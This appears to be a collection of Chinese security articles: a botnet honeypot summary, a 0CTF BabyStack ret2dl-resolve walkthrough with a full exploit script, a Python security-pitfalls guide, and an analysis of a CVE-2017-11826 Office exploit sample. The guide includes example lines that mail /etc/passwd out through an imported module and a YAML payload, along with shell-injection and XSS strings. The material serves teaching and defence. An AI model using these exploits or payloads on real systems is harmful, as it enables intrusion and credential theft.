其实还是为了方便对botnet进行管理和收集相关的信息，至于问BPF是啥的，建议回去恶补一下计算机网络编程，里面对于BPF（Berkeley Packet
Filter）解释的非常详细。
有关告警的问题其实不限于邮件，短信、微信、IM神马的其实都可以，关键是方便通知即可。
* * *
## 0x03 养殖场的成果
观察了这么几天botnet的动向，我发现botnet其实并不是打那些政府、银行、教育、能源行业的服务器，通过我这边非常少量的数据可以观察到攻击目标行业的分布（我并没有存目标IP的画像，相反我在选择的时候接入了riskiq的pdns服务，因为不要钱）如下：
果然还是利益驱动比较大，因为游戏行业尤其是搭私服的，往往因为某些原因确实被DDoS干的很惨，这个往往也是很多为游戏业务提供云服务的痛点。其次就是学校，果然炸学校这种事儿不是说说而已。金融政府这些，我觉得现有的法律制度约束你懂的。
再看下另外一项数据，就是botnet发起攻击的数据，主要是两项，一项是攻击时间分布，另外一项是攻击类型分布，下面的两个统计结果。
看来是过年也没怎么好好休息啊，其实黑产一般过年会休息几天，然后年后集中搞几天事情，可能是因为今年过年之后就是各种开会所有没什么太多的机会吧。
这个就有点意思了，黑产看来也是懂得NTP Flood是目前放大倍数比较高的（最近的memcache比ntp要高），所以以后没点文化估计连黑产也干不了
* * *
## 0x04 总结
养殖场这个东西我觉得还是成本上有点高，所以大家在研究时候注意严格的成本限制，（最近真的因为这个搞得比较穷了）但是呢这个东西在研究一些的数据的时候真的能发现一些经验上看不到的东西，所以说有条件的话大家可以试试看。
* * *
## ref：
<http://forum.huawei.com/enterprise//zh/thread-361461.html>
<https://ddosmon.net/insight/>
<https://docs.microsoft.com/zh-cn/windows-server/get-started/nano-server-quick-start>
<https://docs.docker.com/machine/drivers/hyper-v/#where-to-go-next> | 社区文章 |
# 0CTF 2018 BabyStack
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
> `0ctf`最简单的一道`PWN`题, 用到了`ret2dl_solve`. 说来惭愧, 没做出来, 还是自己菜. 这次的讲解是假设源程序在本机下的,
> 而不是比赛的环境. 比赛的环境是真坑, 下篇给出比赛环境下的讲解.
## 源代码
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int input() {
char buf[0x1c];
return read(0, buf, 0x40);
}
int main(){
alarm(0xA);
input();
return 0;
}
//(自己意淫出来的)
## 程序分析
**1\. checksec**
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled(不能使用Shellcode)
PIE: No PIE (0x8048000)
**2\. 查看一些系统函数**
readelf -r ./babystack
Relocation section '.rel.plt' at offset 0x2b0 contains 3 entries:
Offset Info Type Sym.Value Sym. Name
0804a00c 00000107 R_386_JUMP_SLOT 00000000 read@GLIBC_2.0
0804a010 00000207 R_386_JUMP_SLOT 00000000 alarm@GLIBC_2.0
0804a014 00000407 R_386_JUMP_SLOT 00000000 __libc_start_main@GLIBC_2.0
**3\. 结论**
> 程序明显存在栈溢出, 但是有没有其他的可以利用的函数.
## 知识讲解
**问题: 一个`libc`中的函数是如何被定位执行的呢?**
> 一个`PWN`手的常识:
> 在`Linux`下,函数采用[延迟绑定技术](https://blog.csdn.net/DrottningholmEast/article/details/76651279),是用到哪个函数才对哪个函数进行重定位.
**1\. 基础知识**
一个ELF文件是有很多个`section`构成的,
相应的数据结构:
typedef struct {
Elf32_Word sh_name; // 节头部字符串表节区的索引
Elf32_Word sh_type; // 节类型
Elf32_Word sh_flags; // 节标志，用于描述属性
Elf32_Addr sh_addr; // 节的内存映像
Elf32_Off sh_offset; // 节的文件偏移
Elf32_Word sh_size; // 节的长度
Elf32_Word sh_link; // 节头部表索引链接
Elf32_Word sh_info; // 附加信息
Elf32_Word sh_addralign; // 节对齐约束
Elf32_Word sh_entsize; // 固定大小的节表项的长度
} Elf32_Shdr;
其中`.dynsym`, `.dynstr`, `.rel.dyn`, `rel.plt`, `.plt`, `.plt.got`,
`.got`,`.got.plt`等, 这些`section`请大家注意一下, 后面要用到.
.dynsym --> 动态链接符号表, _dl_fixup会用到(dynamic linking symbol table)
.dynstr --> 动态链接字符串表, _dl_fixup会用到
.rel.dyn --> 变量重定位(不重点讲了)
.rel.plt --> 函数重定位
.plt --> 跳转表, 俗称PLT[0]
.got --> 全局变量偏移
.got.plt --> 保存全局函数偏移表
下面以`read`函数作为例子讲解整个过程:
**第一步**
0x804844c: call 0x8048300 <read@plt> -------------------- ...... |
0x8048300 <read@plt>: jmp DWORD PTR ds:0x804a00c <--- 0x8048306 <read@plt+6>: push 0x0 (第一次时, 上一条指令就是跳到0x8048306, 执行push 0x0.)
(第二次、三次、四次时, 上一条跳转指令直接跳到真实的函数地址)
0x804830b <read@plt+11>:jmp 0x80482f0 ------------- ...... |
0x80482f0: push DWORD PTR ds:0x804a004 <-------- 0x80482f6: jmp DWORD PTR ds:0x804a008 --------- ...... |
0xf7fee000 <_dl_runtime_resolve>: push eax <--------- 0xf7fee001 <_dl_runtime_resolve+1>: push ecx
从上面整个执行流程来看: 压入了`0x0(reloc_arg) 和 ds:0x804a004(link_map)`, 作为
`_dl_runtime_resolve`的参数.
_参数的由来:_
1. reloc_arg
`readelf -r ./babystack`
0x80482b0: 0x0804a00c 0x00000107 0x0804a010 0x00000207
0x80482c0: 0x0804a014 0x00000407 0x08ec8353 0x00009fe8
(与上面图中的数值一致)
2\. link_map
链接器的表示信息, 链接的时候就已经写入了.
**结论** : 以上过程想当于执行了`_dl_runtime_resolve(link_map, reloc_arg)`, 该函数会完成符号解析,
将真正的地址写入到`read[@got](https://github.com/got "@got")`中.
**第二步**
0xf7fee001 <_dl_runtime_resolve+1>: push ecx
0xf7fee002 <_dl_runtime_resolve+2>: push edx
0xf7fee003 <_dl_runtime_resolve+3>: mov edx,DWORD PTR [esp+0x10]
0xf7fee007 <_dl_runtime_resolve+7>: mov eax,DWORD || PTR [esp+0xc]
0xf7fee00b <_dl_runtime_resolve+11>:call 0xf7fe77e0 <_dl_fixup>
......
可以看到`_dl_runtime_resolve`中又调用了`_dl_fixup`
(部分_dl_fixup源码)
_dl_fixup(struct link_map *l, ElfW(Word) reloc_arg){
//首先通过参数reloca_arg计算入口地址, DT_JMPREL即.rel.plt, reloc_offset 就是 reloc_arg
const PLTREL *const reloc
= (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset);
// 通过reloc->r_info(0x107) 找到.dynsym中对应的条目
const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];
// 检查reloc->r_info的最低位是否为0x7, 不是则退出
assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT);
//接着到strtab + sym->st_name中找到符号字符串, result为libc的基地址
result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope,
version, ELF_RTYPE_CLASS_PLT, flags, NULL);
// value 就是目标函数相对与libc基地址的偏移地址
value = DL_FIXUP_MAKE_VALUE (result,
sym ? (LOOKUP_VALUE_ADDRESS (result)
+ sym->st_value) : 0);
// 写入指定的.got表
return elf_machine_fixup_plt (l, result, refsym, sym, reloc, rel_addr, value);
}
> 有童鞋可能有疑问: `_dl_fix`前面有`push 指令`, 为什么`_dl_fixup`和
> `_dl_runtime_resolve`的参数一样都是`reloc_arg, link_map`呢?
_小结论:_ `_dl_fixup` 最终会通过函数名来查找函数对应的地址, 因此函数名是不可能重复的.
**第三步**
下面实地带大家找一下`read`函数的字符串, 按照`_dl_fixup`.
.rel.plt = 0x080482b0, reloc_arg = 0
typedef struct {
Elf32_Addr r_offset; // 对于可执行文件，此值为虚拟地址
Elf32_Word r_info; // 符号表索引
} Elf32_Rel;
--------------------------------------- 0x80482b0: |0x0804a00c 0x00000107| 0x0804a010 0x00000207
-------------------------------------- 0x80482c0: 0x0804a014 0x00000407
reloc-> info = 0x107; reloc-> r_offset = 0x0804a00c
接着
const ElfW(Sym) *sym = (Elf32_Rel->r_info) >> 8 = 0x1
**第四步**
`_dl_runtime_resolve`将控制权交给目标函数
## _ret2ret2dl_solve攻击利用
**整体思路:** 从上面知识讲解可以看出来, 给`_dl_runtime_resolve`传进去了两个参数, 我们就是要控制这两个参数,
让系统最终来查找我们自己构造的函数名, 最终实现执行`system("/bin/sh")`
**步骤1: 劫持执行流**
由于一次输入最多`0x40`个字符, 所以我们需要分两次输入
offset = 44
payload = "A"*44
payload += p32(0x804843b) #0x804843b 是读取调用读取函数的地址
payload += p32(ppp_ret) #pop esi ; pop edi ; pop ebp ; ret
payload += p32(0)
payload += p32(bss_stage) # 地址, 存放我们输入的内容, .bss最适合
payload += p32(100)
**步骤2: 输入构造内容**
这是`_ret2dl_solve`最复杂的部分, 大家要细细理解
cmd = "/bin/sh"
plt_0 = 0x080482f0 # .plt
ret_plt = 0x080482b0 #.ret.plt --> 及时readelf -r ./babystack显示出的内容
index_offset = (base_stage + 28) - ret_plt #index_offset 会和 rel_plt相加
dynsym = 0x080481cc #.dynsym
dynstr = 0x0804822c # .dynstr
# 保证程序能够正确的解释执行我们构造的内容
# -------------------------------------------------- fake_sym_addr = base_stage + 36
align = 0x10 - ((fake_sym_addr - dynsym) & 0xf)
fake_sym_addr = fake_sym_addr + align
index_dynsym = (fake_sym_addr - dynsym) / 0x10
r_info = (index_dynsym << 8) | 0x7
fake_reloc = p32(read_got) + p32(r_info)
st_name = (fake_sym_addr + 16) - dynstr
fake_sym = p32(st_name) + p32(0) + p32(0) + p32(0x12)
# -----------------------------------------------------
payload = 'AAAA'
payload += p32(plt_0)
payload += p32(index_offset)
payload += 'AAAA'
payload += p32(base_stage + 80)
payload += 'a' * 8
payload += fake_reloc
payload += align * "B"
payload += fake_sym
payload += "systemx00"
payload += "A" * (80 - len(payload2))
payload += cmd + 'x00'
payload += "A"*(100 - len(payload2))
p.send(payload2)
**步骤3: 第二次劫持执行流**
第一次劫持是为了让程序输入, 第二次劫持是为了使其跳转到我们精心构造的内容
payload = 'A' * (offset)
payload += p32(pop_ebp_ret)
payload += p32(base_stage)
payload += p32(leave_ret) #mov esp, ebp; pop ebp; ret
**步骤４: 这还不算完(功能未完成)**
由于比赛做了一些特殊设置, 需要我们使用反弹`shell`才行．这就要我们使用一台有公网`ip`的服务器．
首先服务器上监听端口：
nc -l -p 8888 -vvv
执行EXP, 反弹shell至远程服务器, `then cat flag`
## 完整EXP(只能本地，远程未完成)
from pwn import *
context.log_level = 'debug'
elf = ELF('./babystack')
offset = 44
read_plt = elf.plt['read']
read_got = elf.got['read']
ppp_ret = 0x080484e9
pop_ebp_ret = 0x080484eb
leave_ret = 0x080483a8
stack_size = 0x400
bss_addr = 0x0804a020
base_stage = bss_addr + stack_size
p = process('./babystack')
# gdb.attach(p)
payload = 'A' * offset
payload += p32(read_plt)
payload += p32(0x804843B)
payload += p32(0)
payload += p32(base_stage)
payload += p32(200)
p.send(payload)
cmd = '/bin/sh'
plt_0 = 0x080482f0
ret_plt = 0x080482b0
index_offset = (base_stage + 28) - ret_plt
dynsym = 0x080481cc
dynstr = 0x0804822c
fake_sym_addr = base_stage + 36
align = 0x10 - ((fake_sym_addr - dynsym) & 0xf)
fake_sym_addr = fake_sym_addr + align
index_dynsym = (fake_sym_addr - dynsym) / 0x10
r_info = (index_dynsym << 8) | 0x7
fake_reloc = p32(read_got) + p32(r_info)
st_name = (fake_sym_addr + 16) - dynstr
fake_sym = p32(st_name) + p32(0) + p32(0) + p32(0x12)
payload = 'AAAA'
payload += p32(plt_0)
payload += p32(index_offset)
payload += 'AAAA'
payload += p32(base_stage + 80)
payload += 'a' * 8
payload += fake_reloc
payload += align * "B"
payload += fake_sym
payload += "systemx00"
payload += "A" * (80 - len(payload))
payload += cmd + 'x00'
payload += "A"*(200 - len(payload))
p.send(payload)
payload = 'A' * (offset)
payload += p32(pop_ebp_ret)
payload += p32(base_stage)
payload += p32(leave_ret) #mov esp, ebp; pop ebp; ret
p.send(payload)
p.interactive()
## 总结
**_ret2dl_solve** 攻击方式利用起来不是很困难, 只需改几个参数就可以, 但是完全理解还是需要花点功夫的.
## 参考链接
[XDCTF2015](http://pwn4.fun/2016/11/09/Return-to-dl-resolve/)
[_dl_runtime_resolve源码](https://code.woboq.org/userspace/glibc/sysdeps/i386/dl-trampoline.S.html)
[EXP(远程可以用)](http://blog.plusls.cn/ctf/0ctf-2018/pwn/babystack/) | 社区文章 |
# 【技术分享】关于Python漏洞挖掘那些不得不提的事儿
|
##### 译文声明
本文是翻译文章，文章来源：安全客
原文地址：<https://access.redhat.com/blogs/766093/posts/2592591>
译文仅供参考，具体内容表达以及含义原文为准。
****
**
**
**前言**
******Python因其在开发更大、更复杂应用程序方面独特的便捷性，使得它在计算机环境中变得越来越不可或缺。虽然其明显的语言清晰度和使用友好度使得软件工程师和系统管理员放下了戒备，但是他们的编码错误还是有可能会带来严重的安全隐患。**
****这篇文章的主要受众是还不太熟悉Python的人，其中会提及少量与安全有关的行为以及有经验开发人员遵循的规则。
**输入函数**
在Python2强大的内置函数中，输入函数完全就是一个大的安全隐患。一旦调用输入函数，任何从stdin中读取的数据都会被认定为Python代码：
$ python2
>>> input()
dir()
['__builtins__', '__doc__', '__name__', '__package__']
>>> input()
__import__('sys').exit()
$
显然，只要脚本stdin中的数据不是完全可信的，输入函数就是有危险的。Python 2 文件将 raw_input
认定为一个安全的选择。在Python3中，输入函数相当于是 raw_input，这样就可以完全修复这一问题。
**assert语句**
还有一条使用 assert 语句编写的代码语句，作用是捕捉 Python 应用程序中下一个不可能条件。
def verify_credentials(username, password):
assert username and password, 'Credentials not supplied by caller'
... authenticate possibly null user with null password ...
然而，Python在编译源代码到优化的字节代码 (如 python-O) 时不会有任何的assert
语句说明。这样的移除使得程序员编写用来抵御攻击的代码保护都形同虚设。
这一弱点的根源就是assert机制只是用于测试，就像是c++语言中那样。程序员必须使用其他手段才能确保数据的一致性。
**可重用整数**
在Python中一切都是对象，每一个对象都有一个可以通过 id
函数读取的唯一标示符。可以使用运算符弄清楚是否有两个变量或属性都指向相同的对象。整数也是对象，所以这一操作实际上是一种定义：
>>> 999+1 is 1000
False
上述操作的结果可能会令人大吃一惊，但是要提醒大家的是这样的操作是同时使用两个对象标示符，这一过程中并不会比较它们的数值或是其它任何值。但是：
>>> 1+1 is 2
True
对于这种行为的解释就是Python当中有一个对象集合，代表了最开始的几百个整数，并且会重利用这些整数以节省内存和对象创建。更加令人疑惑的就是，不同的Python版本对于“小整数”的定义是不一样的。
这里所指的缓存永远不会使用运算符进行数值比较，运算符也专门是为了处理对象标示符。
**浮点数比较**
处理浮点数可能是一件更加复杂的工作，因为十进制和二进制在表示分数的时候会存在有限精度的问题。导致混淆的一个常见原因就是浮点数对比有时候可能会产生意外的结果。下面是一个著名的例子：
>>> 2.2 * 3.0 == 3.3 * 2.0
False
这种现象的原因是一个舍入错误：
>>> (2.2 * 3.0).hex()
'0x1.a666666666667p+2'
>>> (3.3 * 2.0).hex()
'0x1.a666666666666p+2'
另一个有趣的发现就是Python float 类型支持无限概念。一个可能的原因就是任何数都要小于无限：
>>> 10**1000000 > float('infinity')
False
但是在Python3中，有一种类型的对象不支持无限：
>>> float > float('infinity')
True
一个最好的解决办法就是坚持使用整数算法，还有一个办法就是使用十进制内核模块，这样可以为用户屏蔽烦人的细节问题和缺陷。
一般来说，只要有任何算术运算就必须要小心舍入错误。详情可以参阅 Python 文档中的《发布和局限性》一章。
**私有属性**
Python
不支持隐藏的对象属性。但还有一种变通方法，那就是基于特征的错位双下划线属性。虽然更改属性名称只会作用于代码，硬编码到字符串常量的属性名称仍未被修改。双下划线属性明显"隐藏在"
getattr()/hasattr() 函数时可能会导致混乱的行为。
>>> class X(object):
... def __init__(self):
... self.__private = 1
... def get_private(self):
... return self.__private
... def has_private(self):
... return hasattr(self, '__private')
...
>>> x = X()
>>>
>>> x.has_private()
False
>>> x.get_private()
1
此隐藏属性功能不适用于没有类定义的属性，这有效地在引用中“分裂”了任何给定的属性：
>>> class X(object):
... def __init__(self):
... self.__private = 1
>>>
>>> x = X()
>>>
>>> x.__private
Traceback
...
AttributeError: 'X' object has no attribute '__private'
>>>
>>> x.__private = 2
>>> x.__private
2
>>> hasattr(x, '__private')
True
如果一个程序员过度依赖自己的代码而不关注私有属性的不对称双下划线属性，有可能会造成极大的安全隐患。
**模块注入**
Python 模块注入系统是强大而复杂的。在搜索路径中找到由 sys.path
列表定义的文件或目录名称可以导入模块和包。搜索路径初始化是一个复杂的过程，这一过程依赖于 Python 版本、 平台和本地配置。要在一个 Python
应用程序上实行一次成功攻击，攻击者需要找到方式将恶意 Python 模块放入目录或可注入的包文件，以确保Python 可能会在尝试导入模块时“中招”。
解决方法是保持对所有目录和软件包文件搜索路径的安全访问权限，以确保未经授权的用户没有访问权限。需要记住的是，最初脚本调用 Python
解释器所在的目录会自动插入到搜索路径。
运行类似于下面的脚本显示实际的搜索路径︰
$ cat myapp.py
#!/usr/bin/python
import sys
import pprint
pprint.pprint(sys.path)
Python 程序的当前工作目录被注入的搜索路径是在 Windows 平台上，而不是脚本位置 。在 UNIX 平台上，每当从 stdin
或命令行读取程序代码 ("-"或"-c"或"-m"选项)时，当前的工作目录都会自动插入到 sys.path :
$ echo "import sys, pprint; pprint.pprint(sys.path)" | python - ['',
'/usr/lib/python3.3/site-packages/pip-7.1.2-py3.3.egg',
'/usr/lib/python3.3/site-packages/setuptools-20.1.1-py3.3.egg',
...]
$ python -c 'import sys, pprint; pprint.pprint(sys.path)'
['',
'/usr/lib/python3.3/site-packages/pip-7.1.2-py3.3.egg',
'/usr/lib/python3.3/site-packages/setuptools-20.1.1-py3.3.egg',
...]
$
$ cd /tmp
$ python -m myapp
['',
'/usr/lib/python3.3/site-packages/pip-7.1.2-py3.3.egg',
'/usr/lib/python3.3/site-packages/setuptools-20.1.1-py3.3.egg',
...]
通过命令行在 Windows 或通过代码上运行 Python的一个优先建议就是，明确从当前工作目录更改到一个安全目录时存在的模块注入风险。
搜索路径的另一个可能来源是 $PYTHONPATH 环境变量的内容。从过程环境对 sys.path 的方便缓存是通过 Python 解释器，因为它会忽视
$PYTHONPATH 变量的-E 选项。
**导入代码执行**
虽然看得不明显，但是导入语句实际上会导致正在导入模块中的代码执行。这就是为什么即使只是导入不信任模块都是有风险的。导入一个下面这种的简单模块都可能会导致不愉快的后果︰
$ cat malicious.py
import os
import sys
os.system('cat /etc/passwd | mail [email protected]')
del sys.modules['malicious'] # pretend it's not imported
$ python
>>> import malicious
>>> dir(malicious)
Traceback (most recent call last):
NameError: name 'malicious' is not defined
如果攻击者结合 sys.path 条目注入进行攻击，就有可能进一步破解系统。
**猴子补丁**
在运行时更改Python 对象属性的过程被称为猴子补丁。Python
是一种动态语言，完全支持在运行时更改程序和代码。一旦恶意模块通过某种方式进入其中，任何现有的可变对象都有可能在不知不觉中被恶意修改。考虑以下情况︰
$ cat nowrite.py
import builtins
def malicious_open(*args, **kwargs):
if len(args) > 1 and args[1] == 'w':
args = ('/dev/null',) + args[1:]
return original_open(*args, **kwargs)
original_open, builtins.open = builtins.open, malicious_open
如果上面的代码被 Python 解释器执行，那么一切写入文件都不会被存储到文件系统中︰
>>> import nowrite
>>> open('data.txt', 'w').write('data to store')
5
>>> open('data.txt', 'r')
Traceback (most recent call last):
...
FileNotFoundError: [Errno 2] No such file or directory: 'data.txt'
攻击者可以利用 Python 垃圾回收器 (gc.get_objects()) 掌握所有现有对象，并破解任意对象。
**在 Python 2中** ， 内置对象可以通过魔法 __builtins__ 模块进行访问。一个已知的手段就是利用 __builtins__
的可变性，这可能引起巨大灾难︰
>>> __builtins__.False, __builtins__.True = True, False
>>> True
False
>>> int(True)
0
**在 Python 3中** ， 对真假的赋值不起作用，所以攻击者不能操纵这种方式进行攻击。
函数在 Python 中是一类对象，它们保持对许多函数属性的引用。尤其是通过 __code__ 属性引用可执行字节码，当然，可以对这一属性进行修改︰
>>> import shutil
>>>
>>> shutil.copy
<function copy at 0x7f30c0c66560>
>>> shutil.copy.__code__ = (lambda src, dst: dst).__code__
>>>
>>> shutil.copy('my_file.txt', '/tmp')
'/tmp'
>>> shutil.copy
<function copy at 0x7f30c0c66560>
>>>
一旦应用上述的猴子修补程序，尽管 shutil.copy 函数看上去仍然可用，但其实它已经默默地停止工作了，这是因为没有 op lambda
函数代码为它设置。
Python 对象的类型是由 __class__ 属性决定的。邪恶的攻击者可能会改变现有对象的类型来“搞破坏”：
>>> class X(object): pass
...
>>> class Y(object): pass
...
>>> x_obj = X()
>>> x_obj
<__main__.X object at 0x7f62dbe5e010>
>>> isinstance(x_obj, X)
True
>>> x_obj.__class__ = Y
>>> x_obj
<__main__.Y object at 0x7f62dbe5d350>
>>> isinstance(x_obj, X)
False
>>> isinstance(x_obj, Y)
True
>>>
针对恶意猴子修补唯一的解决方法就是确保导入的Python 模块是真实完整的 。
**通过子进程进行外壳注入**
Python也被称为是一种胶水语言，所以对于Python脚本来说，将系统管理任务委派给其他程序通过询问操作系统来执行它们是很常见的，这样的过程还可能会提供额外的参数。对于这样的任务来说，提供子进程模块会更易于使用：
>>> from subprocess import call
>>>
>>> unvalidated_input = '/bin/true'
>>> call(unvalidated_input)
0
但这里面有蹊跷！为了使用 UNIX
外壳服务（如扩展命令行参数），壳关键字调用函数的参数应该变成真。然后调用函数的第一个参数作为传递，以方便系统外壳进一步进行分析和解释。一旦调用函数
（或其他子进程模块中实现的函数）获得未经验证的用户输入，底层系统资源就变得无遮无拦了。
>>> from subprocess import call
>>>
>>> unvalidated_input = '/bin/true'
>>> unvalidated_input += '; cut -d: -f1 /etc/passwd'
>>> call(unvalidated_input, shell=True)
root
bin
daemon
adm
lp
0
显然更安全的做法就是将外壳关键字保持在其默认的虚假状态，并且提供一个命令向量和子进程函数参数，这样就可以不引用 UNIX
外壳执行外部命令。在第二次的调用形式中，外壳程序不会扩展其参数或是指令。
>>> from subprocess import call
>>>
>>> call(['/bin/ls', '/tmp'])
如果应用程序的性质决定必须使用 UNIX 外壳服务，那么保证一切子流程没有多余的外壳功能可以被恶意用户加以利用是十分重要。在较新的 Python
版本中，标准库中的 shlex.quote 函数可以应对外壳逃逸。
**临时文件**
虽然只有对临时文件的不当使用才会引起编程语言故障，但是在 Python 脚本中存在惊人的相似情况，所以还是值得一提的。
这种漏洞可能会导致对文件系统访问权限的不安全利用，其中可能会涉及到中间步骤，最终导致数据机密性或完整性的安全问题。一般问题的详细描述可以在 CWE
377中找到。
幸运的是，Python 附带的标准库中有临时文件模块，它会提供可以"以最安全的方式"创建临时文件名称的高级函数。不过 tempfile.mktemp
执行还是有缺陷的，因为库的向后兼容性问题仍然存在。还有一点，那就是永远不要使用 tempfile.mktemp
功能，而是在不得不使用文件的时候使用临时文件、TemporaryFile 或 tempfile.mkstemp 。
意外引入一个缺陷的另一种可能性是使用 shutil.copyfile 函数。这里的问题是该目标文件可能是以最不安全的方式创建的。
精通安全的开发人员可能会考虑首先将源文件复制到随机的临时文件名称，然后以最终名称重命名临时文件。虽然这可能看起来像是一个好主意，但是如果由
shutil.move 函数执行重命名就还是不安全的。问题就是，如果临时文件没有创建在最终文件存储的文件系统，那么 shutil.move 将无法以原子方式
（通过 os.rename) 移动它，只会默认将其移动到不安全的 shutil.copy。解决办法就是使用 os.rename 而不是
shutil.move os.rename，因为这注定没办法跨越文件系统边界。
进一步的并发隐患就是 shutil.copy 无法复制所有文件元数据，这可能会导致创建的文件不受保护。
不仅限于 Python，所有的语言中都要小心修改远程文件系统上的文件类型。数据一致性保证往往会很据文件访问序列化的不同而产生差异。举例来说，NFSv2
不承认开放系统调用的 O_EXCL 标示符，但这是创建原子文件的关键。
**不安全的反序列化**
存在许多数据序列化方法，其中Pickle的具体目的是序列化 Python 对象。其目标是将可用的 Python
对象转储到八位字节流以供存储或传输，然后将其重建到另一个 Python
实例。重建步骤本身就存在风险，因为这可能会导致序列化的数据被篡改。Pickle的不安全性是公认的，Python 文档中也明确指出了。
作为一种流行的配置文件格式，YAML 有时候也被看作一种强大的序列化协议，能够诱骗反序列化程序执行任意代码。更危险的是 Python-PyYAML
事实上默认 YAML 执行看似无害的反序列化︰
>>> import yaml
>>>
>>> dangerous_input = """
... some_option: !!python/object/apply:subprocess.call
... args: [cat /etc/passwd | mail [email protected]]
... kwds: {shell: true}
... """
>>> yaml.load(dangerous_input)
{'some_option': 0}
建议的修复方法就是永远都使用 yaml.safe_load 来处理你不能信任的 YAML
序列化。尽管如此，考虑其他序列化库倾向于使用转储/加载函数名称来满足类似用途，当前的PyYAML 默认还是感觉有点挑衅意味。
**模块化引擎**
Web 应用程序的作者很久以前就开始使用Python了 ，过去十年开发出了大量的 Web 框架。很多人开始利用模板引擎生成动态 web 内容。除了 web
应用程序，模板引擎还在一些完全不同的软件中找到了自己存在的价值，比如说安塞波它自动化工具。
从静态模板和运行变量中呈现内容时，还是存在通过运行变量进行用户控制代码注入的风险。成功安装的 web
应用程序攻击可能会导致跨站点脚本漏洞。针对服务器端模板注入攻击的通常解决办法是在进入最终文件之前清除模板变量内容，具体做法就是否认、
剥离对于给定标记或其他特定于域的语言而言任何的奇怪转义字符。
不幸的是，模板化引擎不能保证更加严格的安全性。现在最常用的做法中没有一种默认使用转义机制，主要依靠的还是开发人员对风险的认识。
例如现在最流行的工具之一，Jinja2所呈现的一切︰
>>> from jinja2 import Environment
>>>
>>> template = Environment().from_string('')
>>> template.render(variable='<script>do_evil()</script>')
'<script>do_evil()</script>'
......除非多种可能的转义机制中存在一种可以通过改变其默认设置来显现：
>>> from jinja2 import Environment
>>>
>>> template = Environment(autoescape=True).from_string('')
>>> template.render(variable='<script>do_evil()</script>')
'<script>do_evil()</script>'
更复杂的问题是，在某些使用情况下，程序员不想清除所有的模板变量，而是需要保持其中一些成分不变。这就需要引入"筛选器"模板化引擎地址，能够让程序员选择需要清除的个体变量内容。Jinja2
还在每个模板的基础上提供了一种切换默认逃逸值的选项。
如果开发人员避开了一个语言标记集合，那么代码就会变得更加不安全，可能会导致攻击者直接进入最终文件。
**结语**
这篇博客不是为了列出Python中存在的所有潜在陷阱和缺陷，而是为了大家提高对于安全风险的认识，希望编程变得更加愉快、生活更加安全。 | 社区文章 |
# 【样本分析】CVE-2017-11826再现在野新样本
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**前言**
****
9月下旬，360核心安全事业部高级威胁应对团队捕获一个在野Office
0day样本，漏洞被公布后，编号为CVE-2017-11826。随后，有部分网友对该漏洞的某样本进行了深入分析，引起了广泛讨论。近日，高级威胁应对团队又捕获了另一个该漏洞的在野样本，该样本与之前的样本相比，
**增加了静态混淆，并调整了漏洞触发后的劫持地址，此外，较上一样本相比，该样本明显增加了堆喷射的范围。**
这一系列做法的目的是让其能够躲避静态检测并增加漏洞触发后利用的成功率。
接下来我们对此次样本进行简单分析。
**样本分析**
此次样本在文件构成上和之前的样本几乎没有区别，都是类似下面的组织结构：
图1：样本文档组织结构
不过值得注意的是，此次的样本增加了静态混淆，如下：
图2：样本中的混淆字符
上图中红色部分为混淆字符，这种混淆方式可以绕过大多数静态检测，此时直接用 **rtfobj** 工具并不能直接提取里面的ole对象，如下图：
图3：rtfobj提取原始样本中的ole对象失败
手动去混淆后，删除无关控制字，并且删除文件末尾的乱码字符后，可得到精简后的样本：
图4：去混淆并且精简后的样本
下图中带红框部分为之前被混淆的区域：
图5：去混淆前后对比
这里对RTF文档内嵌OLE的头部数据稍作解释，了解这些之后，手动解混淆这个样本就没有什么困难了：
图6：rtf文档中内嵌OLE对象格式
解混淆后，再次用rtfobj工具抽取里面的ole，此时的抽取结果如下：
图7：rtfobj对精简后样本的提取结果
到这里就不用多说了。经过若干操作，抽取出漏洞文档中的 **document.xml** 文件，与之前的对比，发现了一些有意思的地方：
图8：本次样本与之前样本在document.xml上的差异
较上次相比，本次在name属性提供的数据里面改了一个字节(一个比特位)，这样有什么效果呢？推导如下：
图9：推导出的漏洞触发后eax寄存器值的变化情况
看来改变这一个比特位后能把漏洞利用后的劫持地址提高0x10000，先前已经有[分析文章](http://bobao.360.cn/learning/detail/4636.html)说过，之前样本的利用并不是很稳定，看来这次利用编写人员果然将劫持地址提高了，目的当然是为了提高利用的成功率。
接下来再来看一下本次样本中的堆喷射文档，这次提取出的1号对象并不能通过直接命名为.zip的方式去解压，会提示解压失败。我们将堆喷射文档用
**OleFileView** 打开来一探究竟：
图10：堆喷射文档在OleFileView中的视图
**原来用于堆喷射的docx文档是作为一个package流存储在1号ole对象中的。**
点击Package，将package对象保存成一个文档。具体操作步骤为：点击file->export：
图11：package流导出步骤
把提取出的文件后缀名改为.zip，现在可以用压缩软件打开了，解压后观察里面的文件分布，我们看到了比之前样本多得多的 **activeX.xml** 文件：
图12：观察到的activeX.bin及其引用文件
这次的堆喷射文档布局是这样的：
图13：堆喷射文档结构
本次用于堆喷射的axtiveX.bin如下(可以发现该文件在10月17号就已生成)：
图14：本次用来堆喷射的activeX1.bin文件
稍作统计后发现，本次样本用一个526KB的activex进行了500次堆喷射；而之前的样本是用一个2050KB的activex进行了40次堆喷射。本次样本的堆喷射覆盖面积是之前的3倍多：
图15：本次样本与之前样本在堆喷射范围上的对比
这样有什么好处呢？当然是为了漏洞触发成功后利用的稳定，之前的样本已经被吐槽利用稳定性差了，这次把劫持地址稍做调高并且把堆喷地址扩大三倍后，稳定性好了很多，以下该样本在我们的平台里跑出的结果：
图16：漏洞利用成功后的进程树
现在，我们构造crash样本故意使其崩溃，并记录主要寄存器及指令地址如下，可以看到崩溃时eax的值为0x88988ec，验证了前面静态分析的推导：
图17：本次样本崩溃时的寄存器信息
